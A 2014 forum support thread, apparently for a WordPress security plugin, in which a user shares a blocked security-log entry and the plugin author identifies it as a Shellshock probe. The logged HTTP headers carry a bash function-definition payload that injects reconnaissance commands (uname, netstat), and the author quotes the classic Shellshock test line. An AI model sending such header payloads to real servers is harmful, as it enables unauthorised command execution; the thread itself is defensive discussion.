hacking attempts

  • Resolved flyfisher842

    (@flyfisher842)


    10 years, 4 months ago

    I have been finding this code in the security log.
    Since it is using echo and print commands, how much do I need to worry about BPS blocking it and do I need other code to stop it. If so, please help with the code.

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    [403 GET / HEAD Request: November 13, 2014 - 3:11 PM]
Event Code: BFHS - Blocked/Forbidden Hacker or Spammer
Solution: N/A - Hacker/Spammer Blocked/Forbidden
REMOTE_ADDR: 72.51.41.24
Host Name: .
SERVER_PROTOCOL: { :; }; echo Content-type:text/plain;echo;echo;echo M<code>expr 1330 + 7</code>H;uname -a; netstat -tn | grep \':80\' | awk \'{print $5}\' | cut -f1 -d: | sort | uniq | wc -l;echo @ HTTP/1.0
HTTP_CLIENT_IP:
HTTP_FORWARDED:
HTTP_X_FORWARDED_FOR:
HTTP_X_CLUSTER_CLIENT_IP:
REQUEST_METHOD: GET
HTTP_REFERER: () { :; }; echo Content-type:text/plain;echo;echo;echo M<code>expr 1330 + 7</code>H;uname -a; netstat -tn | grep \':80\' | awk \'{print $5}\' | cut -f1 -d: | sort | uniq | wc -l;echo @
REQUEST_URI: /?x=()
QUERY_STRING:
HTTP_USER_AGENT: () { :; }; echo Content-type:text/plain;echo;echo;echo M<code>expr 1330 + 7</code>H;uname -a; netstat -tn | grep \':80\' | awk \'{print $5}\' | cut -f1 -d: | sort | uniq | wc -l;echo @

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  • Plugin Author AITpro

    (@aitpro)

    If something is being blocked/forbidden and logged by BPS in your Security Log as being blocked/forbidden then BPS has already handled the probe/recon/hack attempt/other deviant stuff.

    I have never seen a Security Log entry like that before. There are several things that BPS will block since they are unsafe/malicious/obvious attempts at doing something deviant/malicious.

    Thread Starter flyfisher842

    (@flyfisher842)

    I have never seen one like this before either. It appears to be an attempt to have server information about the request sent back to the hacker.

    Plugin Author AITpro

    (@aitpro)

    Yes, it checks for Ports in use and tries to capture data. In any case, BPS would never allow something like that since it violates about several different BPS security rules == not ever gonna happen.

    Plugin Author AITpro

    (@aitpro)

    General question – thread has been resolved.

    Plugin Author AITpro

    (@aitpro)

    I had a little spare time today so I took a look around the hood and it appears that the hacking attempt/vector is similar to Shellshock, also known as Bashdoor, which is a fairly new vulnerability discovered in the wild.
    https://en.wikipedia.org/wiki/Shellshock_(software_bug)

    You can see the similarities in the vector

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

    Since I have some spare time today I will do some testing with this attack vector and hack a test site to see what can be gained/exploited/etc.

    Plugin Author AITpro

    (@aitpro)

    And yes I can hack websites. What kind of a professional website security expert would I be if I cannot do what the enemy can do. ??

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